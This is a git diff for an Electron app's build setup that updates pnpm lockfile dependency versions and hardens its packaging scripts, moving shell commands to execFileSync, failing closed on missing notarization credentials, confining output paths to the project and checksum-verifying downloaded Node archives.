'@better-auth/telemetry@1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)': + dependencies: + '@better-auth/core': 1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0) + '@better-auth/utils': 0.4.0 '@better-fetch/fetch': 1.1.21 - '@better-auth/utils@0.3.0': {} + '@better-auth/utils@0.4.0': + dependencies: + '@noble/hashes': 2.0.1 '@better-fetch/fetch@1.1.21': {} @@ -4002,7 +4093,7 @@ snapshots: dependencies: '@bufbuild/protobuf': 1.10.0 '@connectrpc/connect': 1.7.0(@bufbuild/protobuf@1.10.0) - undici: 5.29.0 + undici: 6.25.0 '@connectrpc/connect@1.7.0(@bufbuild/protobuf@1.10.0)': dependencies: @@ -4274,14 +4365,12 @@ snapshots: optionalDependencies: '@noble/hashes': 2.0.1 - '@fastify/busboy@2.1.1': {} - '@gar/promisify@1.1.3': optional: true - '@hono/node-server@1.19.14(hono@4.12.18)': + '@hono/node-server@1.19.14(hono@4.12.21)': dependencies: - hono: 4.12.18 + hono: 4.12.21 '@img/colour@1.1.0': {} @@ -4398,7 +4487,7 @@ snapshots: '@modelcontextprotocol/sdk@1.29.0(zod@4.3.6)': dependencies: - '@hono/node-server': 1.19.14(hono@4.12.18) + '@hono/node-server': 1.19.14(hono@4.12.21) ajv: 8.20.0 ajv-formats: 3.0.1(ajv@8.20.0) content-type: 1.0.5 @@ -4408,7 +4497,7 @@ snapshots: eventsource-parser: 3.0.8 express: 5.2.1 express-rate-limit: 8.5.1(express@5.2.1) - hono: 4.12.18 + hono: 4.12.21 jose: 6.2.2 json-schema-typed: 8.0.2 pkce-challenge: 5.0.1 @@ -4436,6 +4525,11 @@ snapshots: rimraf: 3.0.2 optional: true + '@opentelemetry/api@1.9.1': + optional: true + + '@opentelemetry/semantic-conventions@1.41.1': {} + '@paperclipai/adapter-acpx-local@2026.609.0': dependencies: '@agentclientprotocol/claude-agent-acp': 0.31.4 @@ -4488,7 +4582,7 @@ snapshots: dependencies: '@paperclipai/adapter-utils': 2026.609.0 picocolors: 1.1.1 - ws: 8.20.0 + ws: 8.20.1 transitivePeerDependencies: - bufferutil - utf-8-validate @@ -4505,10 +4599,10 @@ snapshots: '@paperclipai/adapter-utils@2026.609.0': {} - '@paperclipai/db@2026.609.0(kysely@0.28.14)(pg@8.20.0)(sqlite3@5.1.7)': + '@paperclipai/db@2026.609.0(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(sqlite3@5.1.7)': dependencies: '@paperclipai/shared': 2026.609.0 - drizzle-orm: 0.45.2(kysely@0.28.14)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7) + drizzle-orm: 0.45.2(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7) embedded-postgres: 18.1.0-beta.16 postgres: 3.4.9 transitivePeerDependencies: @@ -4547,7 +4641,7 @@ snapshots: '@paperclipai/shared': 2026.609.0 zod: 3.25.76 - '@paperclipai/server@2026.609.0(@noble/hashes@2.0.1)(kysely@0.28.14)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7)': + '@paperclipai/server@2026.609.0(@noble/hashes@2.0.1)(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7)': dependencies: '@aws-sdk/client-s3': 3.1017.0 '@paperclipai/adapter-acpx-local': 2026.609.0 @@ -4561,17 +4655,17 @@ snapshots: '@paperclipai/adapter-opencode-local': 2026.609.0 '@paperclipai/adapter-pi-local': 2026.609.0 '@paperclipai/adapter-utils': 2026.609.0 - '@paperclipai/db': 2026.609.0(kysely@0.28.14)(pg@8.20.0)(sqlite3@5.1.7) + '@paperclipai/db': 2026.609.0(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(sqlite3@5.1.7) '@paperclipai/plugin-sdk': 2026.609.0 '@paperclipai/shared': 2026.609.0 ajv: 8.20.0 ajv-formats: 3.0.1(ajv@8.20.0) - better-auth: 1.4.18(drizzle-orm@0.45.2(kysely@0.28.14)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7))(pg@8.20.0) + better-auth: 1.6.11(@opentelemetry/api@1.9.1)(drizzle-orm@0.45.2(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7))(pg@8.20.0) chokidar: 4.0.3 detect-port: 2.1.0 dompurify: 3.4.2 dotenv: 17.3.1 - drizzle-orm: 0.45.2(kysely@0.28.14)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7) + drizzle-orm: 0.45.2(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7) embedded-postgres: 18.1.0-beta.16 express: 5.2.1 hermes-paperclip-adapter: 0.2.1 @@ -4582,7 +4676,7 @@ snapshots: pino-http: 10.5.0 pino-pretty: 13.1.3 sharp: 0.34.5 - ws: 8.20.0 + ws: 8.20.1 zod: 3.25.76 transitivePeerDependencies: - '@aws-sdk/client-rds-data' @@ -4999,7 +5093,7 @@ snapshots: dependencies: defer-to-connect: 2.0.1 - '@tootallnate/once@1.1.2': + '@tootallnate/once@2.0.1': optional: true '@types/cacheable-request@6.0.3': @@ -5145,7 +5239,7 @@ snapshots: ajv@8.20.0: dependencies: fast-deep-equal: 3.1.3 - fast-uri: 3.1.0 + fast-uri: 3.1.2 json-schema-traverse: 1.0.0 require-from-string: 2.0.2 @@ -5269,30 +5363,38 @@ snapshots: base64-js@1.5.1: {} - better-auth@1.4.18(drizzle-orm@0.45.2(kysely@0.28.14)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7))(pg@8.20.0): + better-auth@1.6.11(@opentelemetry/api@1.9.1)(drizzle-orm@0.45.2(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7))(pg@8.20.0): dependencies: - '@better-auth/core': 1.4.18(@better-auth/utils@0.3.0)(@better-fetch/fetch@1.1.21)(better-call@1.1.8(zod@4.3.6))(jose@6.2.2)(kysely@0.28.14)(nanostores@1.2.0) - '@better-auth/telemetry': 1.4.18(@better-auth/core@1.4.18(@better-auth/utils@0.3.0)(@better-fetch/fetch@1.1.21)(better-call@1.1.8(zod@4.3.6))(jose@6.2.2)(kysely@0.28.14)(nanostores@1.2.0)) - '@better-auth/utils': 0.3.0 + '@better-auth/core': 1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0) + '@better-auth/drizzle-adapter': 1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0)(drizzle-orm@0.45.2(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7)) + '@better-auth/kysely-adapter': 1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0)(kysely@0.28.17) + '@better-auth/memory-adapter': 1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0) + '@better-auth/mongo-adapter': 1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0) + '@better-auth/prisma-adapter': 1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0) + '@better-auth/telemetry': 1.6.11(@better-auth/core@1.6.11(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21)(@opentelemetry/api@1.9.1)(better-call@1.3.5(zod@4.3.6))(jose@6.2.2)(kysely@0.28.17)(nanostores@1.2.0))(@better-auth/utils@0.4.0)(@better-fetch/fetch@1.1.21) + '@better-auth/utils': 0.4.0 '@better-fetch/fetch': 1.1.21 '@noble/ciphers': 2.1.1 '@noble/hashes': 2.0.1 - better-call: 1.1.8(zod@4.3.6) + better-call: 1.3.5(zod@4.3.6) defu: 6.1.7 jose: 6.2.2 - kysely: 0.28.14 + kysely: 0.28.17 nanostores: 1.2.0 zod: 4.3.6 optionalDependencies: - drizzle-orm: 0.45.2(kysely@0.28.14)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7) + drizzle-orm: 0.45.2(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7) pg: 8.20.0 + transitivePeerDependencies: + - '@cloudflare/workers-types' + - '@opentelemetry/api' - better-call@1.1.8(zod@4.3.6): + better-call@1.3.5(zod@4.3.6): dependencies: - '@better-auth/utils': 0.3.0 + '@better-auth/utils': 0.4.0 '@better-fetch/fetch': 1.1.21 rou3: 0.7.12 - set-cookie-parser: 2.7.2 + set-cookie-parser: 3.1.0 optionalDependencies: zod: 4.3.6 @@ -5318,7 +5420,7 @@ snapshots: http-errors: 2.0.1 iconv-lite: 0.7.2 on-finished: 2.4.1 - qs: 6.15.0 + qs: 6.15.2 raw-body: 3.0.2 type-is: 2.0.1 transitivePeerDependencies: @@ -5338,7 +5440,7 @@ snapshots: dependencies: balanced-match: 1.0.2 - brace-expansion@5.0.5: + brace-expansion@5.0.6: dependencies: balanced-match: 4.0.4 @@ -5407,7 +5509,7 @@ snapshots: promise-inflight: 1.0.1 rimraf: 3.0.2 ssri: 8.0.1 - tar: 6.2.1 + tar: 7.5.14 unique-filename: 1.1.1 transitivePeerDependencies: - bluebird @@ -5446,7 +5548,8 @@ snapshots: chownr@1.1.4: {} - chownr@2.0.0: {} + chownr@2.0.0: + optional: true chownr@3.0.0: {} @@ -5659,9 +5762,10 @@ snapshots: dotenv@17.3.1: {} - drizzle-orm@0.45.2(kysely@0.28.14)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7): + drizzle-orm@0.45.2(@opentelemetry/api@1.9.1)(kysely@0.28.17)(pg@8.20.0)(postgres@3.4.9)(sqlite3@5.1.7): optionalDependencies: - kysely: 0.28.14 + '@opentelemetry/api': 1.9.1 + kysely: 0.28.17 pg: 8.20.0 postgres: 3.4.9 sqlite3: 5.1.7 @@ -5885,7 +5989,7 @@ snapshots: once: 1.4.0 parseurl: 1.3.3 proxy-addr: 2.0.7 - qs: 6.15.0 + qs: 6.15.2 range-parser: 1.2.1 router: 2.2.0 send: 1.2.1 @@ -5925,7 +6029,7 @@ snapshots: dependencies: fast-string-truncated-width: 3.0.3 - fast-uri@3.1.0: {} + fast-uri@3.1.2: {} fast-wrap-ansi@0.2.0: dependencies: @@ -6015,6 +6119,7 @@ snapshots: fs-minipass@2.1.0: dependencies: minipass: 3.3.6 + optional: true fs.realpath@1.0.0: {} @@ -6135,7 +6240,7 @@ snapshots: '@paperclipai/adapter-utils': 2026.609.0 picocolors: 1.1.1 - hono@4.12.18: {} + hono@4.12.21: {} hosted-git-info@4.1.0: dependencies: @@ -6159,7 +6264,7 @@ snapshots: http-proxy-agent@4.0.1: dependencies: - '@tootallnate/once': 1.1.2 + '@tootallnate/once': 2.0.1 agent-base: 6.0.2 debug: 4.4.3 transitivePeerDependencies: @@ -6300,7 +6405,7 @@ snapshots: saxes: 6.0.0 symbol-tree: 3.2.4 tough-cookie: 6.0.1 - undici: 7.24.6 + undici: 6.25.0 w3c-xmlserializer: 5.0.0 webidl-conversions: 8.0.1 whatwg-mimetype: 5.0.0 @@ -6342,7 +6447,7 @@ snapshots: dependencies: json-buffer: 3.0.1 - kysely@0.28.14: {} + kysely@0.28.17: {} lazy-val@1.0.5: {} @@ -6418,7 +6523,7 @@ snapshots: minimatch@10.2.4: dependencies: - brace-expansion: 5.0.5 + brace-expansion: 5.0.6 minimatch@3.1.5: dependencies: @@ -6466,8 +6571,7 @@ snapshots: minipass@3.3.6: dependencies: yallist: 4.0.0 - - minipass@5.0.0: {} + optional: true minipass@7.1.3: {} @@ -6475,6 +6579,7 @@ snapshots: dependencies: minipass: 3.3.6 yallist: 4.0.0 + optional: true minizlib@3.1.0: dependencies: @@ -6486,7 +6591,8 @@ snapshots: dependencies: minimist: 1.2.8 - mkdirp@1.0.4: {} + mkdirp@1.0.4: + optional: true ms@2.1.3: {} @@ -6546,7 +6652,7 @@ snapshots: npmlog: 6.0.2 rimraf: 3.0.2 semver: 7.7.4 - tar: 6.2.1 + tar: 7.5.14 which: 2.0.2 transitivePeerDependencies: - bluebird @@ -6787,7 +6893,7 @@ snapshots: punycode@2.3.1: {} - qs@6.15.0: + qs@6.15.2: dependencies: side-channel: 1.1.0 @@ -6938,7 +7044,7 @@ snapshots: set-blocking@2.0.0: optional: true - set-cookie-parser@2.7.2: {} + set-cookie-parser@3.1.0: {} setprototypeof@1.2.0: {} @@ -7080,7 +7186,7 @@ snapshots: bindings: 1.5.0 node-addon-api: 7.1.1 prebuild-install: 7.1.3 - tar: 6.2.1 + tar: 7.5.14 optionalDependencies: node-gyp: 8.4.1 transitivePeerDependencies: @@ -7165,15 +7271,6 @@ snapshots: - bare-buffer - react-native-b4a - tar@6.2.1: - dependencies: - chownr: 2.0.0 - fs-minipass: 2.1.0 - minipass: 5.0.0 - minizlib: 2.1.2 - mkdirp: 1.0.4 - yallist: 4.0.0 - tar@7.5.14: dependencies: '@isaacs/fs-minipass': 4.0.1 @@ -7228,9 +7325,9 @@ snapshots: tmp-promise@3.0.3: dependencies: - tmp: 0.2.5 + tmp: 0.2.6 - tmp@0.2.5: {} + tmp@0.2.6: {} toidentifier@1.0.1: {} @@ -7285,14 +7382,8 @@ snapshots: undici-types@7.18.2: {} - undici@5.29.0: - dependencies: - '@fastify/busboy': 2.1.1 - undici@6.25.0: {} - undici@7.24.6: {} - unique-filename@1.1.1: dependencies: unique-slug: 2.0.2 @@ -7367,7 +7458,7 @@ snapshots: wrappy@1.0.2: {} - ws@8.20.0: {} + ws@8.20.1: {} wsl-utils@0.3.1: dependencies: diff --git a/scripts/after-pack.mjs b/scripts/after-pack.mjs index ef366323..3bde51d2 100644 --- a/scripts/after-pack.mjs +++ b/scripts/after-pack.mjs @@ -103,6 +103,57 @@ function collectSignableBinaries(dir, out = []) { return out; } +function removeAppleMetadataFiles(dir) { + if (!existsSync(dir)) return; + + for (const entry of readdirSync(dir)) { + const full = join(dir, entry); + let stat; + + try { + stat = lstatSync(full); + } catch { + continue; + } + + if (stat.isSymbolicLink()) continue; + + if (entry.startsWith("._") || entry === ".DS_Store") { + rmSync(full, { recursive: true, force: true }); + continue; + } + + if (stat.isDirectory()) { + removeAppleMetadataFiles(full); + } + } +} + +function clearExtendedAttributes(dir) { + if (!existsSync(dir)) return; + + let stat; + try { + stat = lstatSync(dir); + } catch { + return; + } + + if (stat.isSymbolicLink()) return; + + try { + execFileSync("xattr", ["-c", dir], { stdio: "ignore" }); + } catch { + // best effort only + } + + if (!stat.isDirectory()) return; + + for (const entry of readdirSync(dir)) { + clearExtendedAttributes(join(dir, entry)); + } +} + function stripBundleMetadata(appPath) { console.log("[after-pack] Cleaning broken symlinks..."); removeBrokenSymlinks(join(appPath, "Contents")); @@ -113,10 +164,10 @@ function stripBundleMetadata(appPath) { } catch { // best effort only } - execFileSync("sh", ["-c", `find "${appPath}" -name "._*" -delete 2>/dev/null; find "${appPath}" -name ".DS_Store" -delete 2>/dev/null; true`]); + removeAppleMetadataFiles(appPath); console.log("[after-pack] Stripping extended attributes..."); - execFileSync("sh", ["-c", `find "${appPath}" ! -type l -print0 | xargs -0 -n 200 xattr -c 2>/dev/null; true`]); + clearExtendedAttributes(appPath); } function signTarget(target, identity, entitlements) { diff --git a/scripts/after-sign.mjs b/scripts/after-sign.mjs index a3f2c321..260dfefd 100644 --- a/scripts/after-sign.mjs +++ b/scripts/after-sign.mjs @@ -22,17 +22,25 @@ function readSubmissionId(payload) { export default async function afterSign(context) { if (context.electronPlatformName !== "darwin") return; + // Fail closed by default (mirrors the ALLOW_UNSIGNED_MACOS_BUILD gate in + // after-pack.mjs): missing notary credentials abort the build unless the + // operator explicitly opts out, so we can't silently emit DMG/ZIPs Gatekeeper + // will reject. The legacy PAPERCLIP_REQUIRE_MACOS_RELEASE_SIGNING flag still + // forces the requirement on. const shouldRequireNotarization = process.env.PAPERCLIP_REQUIRE_MACOS_RELEASE_SIGNING === "1"; + const allowUnnotarized = process.env.ALLOW_UNNOTARIZED_MACOS_BUILD === "true"; const hasNotaryCredentials = process.env.APPLE_API_KEY && process.env.APPLE_API_KEY_ID && process.env.APPLE_API_ISSUER; if (!hasNotaryCredentials) { - if (shouldRequireNotarization) { + if (shouldRequireNotarization || !allowUnnotarized) { requireEnv("APPLE_API_KEY"); requireEnv("APPLE_API_KEY_ID"); requireEnv("APPLE_API_ISSUER"); } - console.log("[after-sign] Apple notarization credentials are not configured, skipping app notarization."); + console.log( + "[after-sign] Apple notarization credentials are not configured; ALLOW_UNNOTARIZED_MACOS_BUILD=true set, skipping app notarization.", + ); return; } diff --git a/scripts/build-ui.mjs b/scripts/build-ui.mjs index 4b2a96a2..9f2d13dd 100644 --- a/scripts/build-ui.mjs +++ b/scripts/build-ui.mjs @@ -11,7 +11,7 @@ * be simplified to just copy from node_modules. */ -import { execSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; import { existsSync, readFileSync, mkdirSync, rmSync, cpSync, readdirSync } from "node:fs"; import path from "node:path"; import { fileURLToPath } from "node:url"; @@ -21,6 +21,8 @@ const projectRoot = path.resolve(__dirname, ".."); const bundleRootDir = path.join(projectRoot, "build", "server-bundle"); const cloneDir = path.join(projectRoot, "build", "upstream-clone"); +const npmCommand = process.platform === "win32" ? "npm.cmd" : "npm"; +const pnpmCommand = process.platform === "win32" ? "pnpm.cmd" : "pnpm"; function getBundleUiDistDirs() { if (!existsSync(bundleRootDir)) return []; return readdirSync(bundleRootDir) @@ -58,7 +60,7 @@ if (!serverVersion) { // ── Try to install @paperclipai/ui from npm first (future-proofing) ───────── try { - const uiVersion = execSync(`npm view @paperclipai/ui@${serverVersion} version`, { + const uiVersion = execFileSync(npmCommand, ["view", `@paperclipai/ui@${serverVersion}`, "version"], { encoding: "utf8", stdio: ["ignore", "pipe", "pipe"], timeout: 15000, @@ -69,13 +71,13 @@ try { const uiStagingDir = path.join(projectRoot, "build", "ui-staging"); if (existsSync(uiStagingDir)) rmSync(uiStagingDir, { recursive: true, force: true }); mkdirSync(uiStagingDir, { recursive: true }); - execSync(`npm pack @paperclipai/ui@${uiVersion} --pack-destination "${uiStagingDir}"`, { stdio: "inherit" }); + execFileSync(npmCommand, ["pack", `@paperclipai/ui@${uiVersion}`, "--pack-destination", uiStagingDir], { stdio: "inherit" }); // Extract and copy dist/ const tarballs = readdirSync(uiStagingDir) .filter((entry) => entry.endsWith(".tgz")) .map((entry) => path.join(uiStagingDir, entry)); if (tarballs[0]) { - execSync(`tar -xzf "${tarballs[0]}" -C "${uiStagingDir}"`, { stdio: "inherit" }); + execFileSync("tar", ["-xzf", tarballs[0], "-C", uiStagingDir], { stdio: "inherit" }); const uiDist = path.join(uiStagingDir, "package", "dist"); if (existsSync(path.join(uiDist, "index.html"))) { copyUiDistToBundles(uiDist); @@ -104,8 +106,9 @@ let cloneSuccess = false; for (const tag of tagCandidates) { try { console.log(`[build-ui] Cloning upstream at tag ${tag}...`); - execSync( - `git clone --depth 1 --branch "${tag}" https://github.com/paperclipai/paperclip.git "${cloneDir}"`, + execFileSync( + "git", + ["clone", "--depth", "1", "--branch", tag, "https://github.com/paperclipai/paperclip.git", cloneDir], { stdio: "inherit", timeout: 120000 }, ); cloneSuccess = true; @@ -124,10 +127,10 @@ if (!cloneSuccess) { // ── Install dependencies and build UI ─────────────────────────────────────── console.log("[build-ui] Installing upstream dependencies..."); -execSync("pnpm install --frozen-lockfile", { cwd: cloneDir, stdio: "inherit", timeout: 300000 }); +execFileSync(pnpmCommand, ["install", "--frozen-lockfile"], { cwd: cloneDir, stdio: "inherit", timeout: 300000 }); console.log("[build-ui] Building UI..."); -execSync("pnpm --filter @paperclipai/ui build", { cwd: cloneDir, stdio: "inherit", timeout: 300000 }); +execFileSync(pnpmCommand, ["--filter", "@paperclipai/ui", "build"], { cwd: cloneDir, stdio: "inherit", timeout: 300000 }); // ── Copy UI dist to server bundle ─────────────────────────────────────────── diff --git a/scripts/dev.mjs b/scripts/dev.mjs index a28d7ae8..012ac538 100644 --- a/scripts/dev.mjs +++ b/scripts/dev.mjs @@ -10,16 +10,17 @@ * Usage: node scripts/dev.mjs */ -import { execSync, spawn } from "node:child_process"; +import { execFileSync, spawn } from "node:child_process"; import path from "node:path"; import { fileURLToPath } from "node:url"; const __dirname = path.dirname(fileURLToPath(import.meta.url)); const projectRoot = path.resolve(__dirname, ".."); +const npxCommand = process.platform === "win32" ? "npx.cmd" : "npx"; // 1. Compile TS console.log("[dev] Compiling TypeScript..."); -execSync("npx tsc", { cwd: projectRoot, stdio: "inherit" }); +execFileSync(npxCommand, ["tsc"], { cwd: projectRoot, stdio: "inherit" }); // 2. Launch Electron console.log("[dev] Starting Electron..."); diff --git a/scripts/notarize-prebuilt-macos.mjs b/scripts/notarize-prebuilt-macos.mjs index 4a40681e..a81c5178 100644 --- a/scripts/notarize-prebuilt-macos.mjs +++ b/scripts/notarize-prebuilt-macos.mjs @@ -3,7 +3,7 @@ import { execFileSync, spawnSync } from "node:child_process"; import { existsSync, lstatSync, mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; -import { basename, join, resolve } from "node:path"; +import { basename, isAbsolute, join, relative, resolve } from "node:path"; import { fileURLToPath } from "node:url"; const __dirname = fileURLToPath(new URL(".", import.meta.url)); @@ -29,6 +29,17 @@ function hasFlag(name) { return args.includes(name); } +function assertRepoContainedOutput(targetPath, optionName) { + const relativePath = relative(projectRoot, targetPath); + const insideProject = relativePath !== "" && !relativePath.startsWith("..") && !isAbsolute(relativePath); + if (!insideProject && !hasFlag("--allow-external-output")) { + throw new Error( + `${optionName} must resolve inside the project directory. ` + + "Pass --allow-external-output to intentionally write elsewhere.", + ); + } +} + function run(command, commandArgs, options = {}) { const result = spawnSync(command, commandArgs, { cwd: projectRoot, @@ -156,6 +167,7 @@ function verifyOutput(outputDir) { function main() { const inputRoot = resolve(projectRoot, takeOption("--input-root") || "release/local-macos"); const outputRoot = resolve(projectRoot, takeOption("--output-root") || "release/notarized-macos"); + assertRepoContainedOutput(outputRoot, "--output-root"); const skipNotarize = hasFlag("--skip-notarize"); const archs = takeOption("--arch") ? [takeOption("--arch")] : ["x64", "arm64"]; diff --git a/scripts/prepare-macos-release-assets.mjs b/scripts/prepare-macos-release-assets.mjs index 43235be4..c5b48458 100644 --- a/scripts/prepare-macos-release-assets.mjs +++ b/scripts/prepare-macos-release-assets.mjs @@ -1,7 +1,7 @@ #!/usr/bin/env node import { cpSync, existsSync, lstatSync, mkdirSync, readdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; -import { basename } from "node:path"; +import { basename, isAbsolute, relative } from "node:path"; import { join, resolve } from "node:path"; import { fileURLToPath, pathToFileURL } from "node:url"; @@ -26,6 +26,21 @@ function requireOption(name) { return value; } +function hasFlag(name) { + return args.includes(name); +} + +function assertRepoContainedOutput(targetPath, optionName) { + const relativePath = relative(projectRoot, targetPath); + const insideProject = relativePath !== "" && !relativePath.startsWith("..") && !isAbsolute(relativePath); + if (!insideProject && !hasFlag("--allow-external-output")) { + throw new Error( + `${optionName} must resolve inside the project directory. ` + + "Pass --allow-external-output to intentionally write elsewhere.", + ); + } +} + function parseOptionalPercentage(name) { const value = takeOption(name); if (value == null) { @@ -338,9 +353,12 @@ export function prepareMacosReleaseAssets({ inputRoot, outputDir, stagingPercent } function main() { + const outputDir = requireOption("--output-dir"); + assertRepoContainedOutput(resolve(projectRoot, outputDir), "--output-dir"); + prepareMacosReleaseAssets({ inputRoot: requireOption("--input-root"), - outputDir: requireOption("--output-dir"), + outputDir, stagingPercentage: parseOptionalPercentage("--staging-percentage"), }); } diff --git a/scripts/prepare-server.mjs b/scripts/prepare-server.mjs index ee6d53b0..f99b5b61 100644 --- a/scripts/prepare-server.mjs +++ b/scripts/prepare-server.mjs @@ -6,7 +6,8 @@ * into the app. */ -import { execSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; +import { createHash } from "node:crypto"; import { cpSync, existsSync, @@ -40,6 +41,7 @@ const platform = process.platform; const nodePlatform = platform === "win32" ? "win32" : platform; const ebPlatform = platform === "darwin" ? "mac" : platform === "win32" ? "win" : "linux"; const targetArches = platform === "darwin" ? ["x64", "arm64"] : ["x64"]; +const npmCommand = platform === "win32" ? "npm.cmd" : "npm"; rmSync(stagingRootDir, { recursive: true, force: true }); rmSync(bundleRootDir, { recursive: true, force: true }); @@ -73,6 +75,14 @@ function fixDylibSymlinks(libDir) { } function removeFinderDuplicates(rootDir) { + function originalFinderDuplicatePath(file) { + const dir = path.dirname(file); + const ext = path.extname(file); + const stem = path.basename(file, ext); + const match = stem.match(/^(.*) \d+$/); + return match ? path.join(dir, `${match[1]}${ext}`) : null; + } + function* walkDir(dir) { for (const entry of readdirSync(dir)) { const full = path.join(dir, entry); @@ -95,8 +105,8 @@ function removeFinderDuplicates(rootDir) { const duplicates = []; for (const file of walkDir(rootDir)) { - const base = path.basename(file); - if (/ \d+(\.[^/]+)?$/.test(base) && / \d+/.test(base)) { + const originalPath = originalFinderDuplicatePath(file); + if (originalPath && existsSync(originalPath)) { duplicates.push(file); } } @@ -180,8 +190,9 @@ for (const arch of targetArches) { ), ); - execSync( - `npm install --production --os=${nodePlatform} --cpu=${arch} --arch=${arch}`, + execFileSync( + npmCommand, + ["install", "--production", `--os=${nodePlatform}`, `--cpu=${arch}`, `--arch=${arch}`], { cwd: stagingDir, stdio: "inherit", @@ -232,39 +243,94 @@ const arches = platform === "darwin" ? ["x64", "arm64"] : ["x64"]; const nodeDownloadPlatform = platform === "win32" ? "win" : platform; const nodeBinDir = path.join(projectRoot, "build", "node-bin"); +// Verify the downloaded archive against Node's published SHASUMS256.txt before it +// is extracted and bundled into the signed app. HTTPS alone does not defend +// against CDN compromise / corporate MITM root CAs / content substitution. +function verifyArchiveChecksum(archivePath, archiveFileName) { + const sumsPath = `${archivePath}.SHASUMS256.txt`; + const sumsUrl = `https://nodejs.org/dist/${NODE_VERSION}/SHASUMS256.txt`; + if (platform === "win32") { + execFileSync( + "powershell", + ["-NoProfile", "-Command", "Invoke-WebRequest", "-Uri", sumsUrl, "-OutFile", sumsPath], + { stdio: "inherit" }, + ); + } else { + execFileSync("curl", ["-fsSL", "-o", sumsPath, sumsUrl], { stdio: "inherit" }); + } + + const sums = readFileSync(sumsPath, "utf8"); + rmSync(sumsPath, { force: true }); + + const expectedLine = sums.split("\n").find((line) => line.trim().endsWith(` ${archiveFileName}`)); + if (!expectedLine) { + throw new Error(`[prepare-server] No SHASUMS256 entry found for ${archiveFileName}`); + } + const expected = expectedLine.trim().split(/\s+/)[0]; + const actual = createHash("sha256").update(readFileSync(archivePath)).digest("hex"); + if (actual !== expected) { + throw new Error( + `[prepare-server] Node archive checksum mismatch for ${archiveFileName}: expected ${expected}, got ${actual}`, + ); + } + console.log(`[prepare-server] Verified ${archiveFileName} sha256=${actual}`); +} + for (const arch of arches) { const destDir = path.join(nodeBinDir, `${ebPlatform}-${arch}`); const destBin = path.join(destDir, platform === "win32" ? "node.exe" : "node"); + // The cache key must include the version: a bare existsSync(destBin) would keep + // shipping a stale binary after a NODE_VERSION bump (e.g. a security patch). + // Kept as a sibling (not inside destDir) so it isn't copied into the app bundle. + const versionMarker = path.join(nodeBinDir, `.${ebPlatform}-${arch}.node-version`); - if (existsSync(destBin)) { + if (existsSync(destBin) && existsSync(versionMarker) && readFileSync(versionMarker, "utf8").trim() === NODE_VERSION) { console.log(`[prepare-server] Node ${NODE_VERSION} ${arch} already downloaded, skipping`); continue; } + // Stale or unverified cache: rebuild from scratch. + rmSync(destDir, { recursive: true, force: true }); mkdirSync(destDir, { recursive: true }); const ext = platform === "win32" ? "zip" : "tar.gz"; const archiveName = `node-${NODE_VERSION}-${nodeDownloadPlatform}-${arch}`; - const url = `https://nodejs.org/dist/${NODE_VERSION}/${archiveName}.${ext}`; + const archiveFileName = `${archiveName}.${ext}`; + const url = `https://nodejs.org/dist/${NODE_VERSION}/${archiveFileName}`; const archivePath = path.join(destDir, `node.${ext}`); 